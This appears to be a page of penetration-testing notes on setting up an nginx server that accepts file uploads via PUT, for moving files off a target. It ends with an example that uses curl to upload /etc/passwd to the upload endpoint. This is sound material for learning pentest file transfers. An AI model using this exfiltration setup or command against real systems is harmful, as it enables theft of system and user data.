Pentest Notes / File Transfers
Nginx webserver
nginx safer and easier to configure compared to apache
we're using PUT to upload files
Start and configure webserver
New directory to handle uploaded files
sudo mkdir -p /var/www/uploads/SecretUploadDirectory
Change owner to www-data
sudo chown -R www-data:www-data /var/www/uploads/SecretUploadDirectory
Create config file
/etc/nginx/sites-available/upload.conf should contain (port number can be anything):
server {
listen 9001;
location /SecretUploadDirectory/ {
root /var/www/uploads;
dav_methods PUT;
}
}
Symlink our Site to the sites-enabled Directory
sudo ln -s /etc/nginx/sites-available/upload.conf /etc/nginx/sites-enabled/
Start Nginx
sudo systemctl restart nginx.service
Errors
Check /var/log/nginx/error.log for errors
We can remove default config if port 80 is already in use
sudo rm /etc/nginx/sites-enabled/default
Upload and verify
Upload file
curl -T /etc/passwd http://localhost:9001/SecretUploadDirectory/users.txt
Verify if file is present:
sudo tail -1 /var/www/uploads/SecretUploadDirectory/users.txt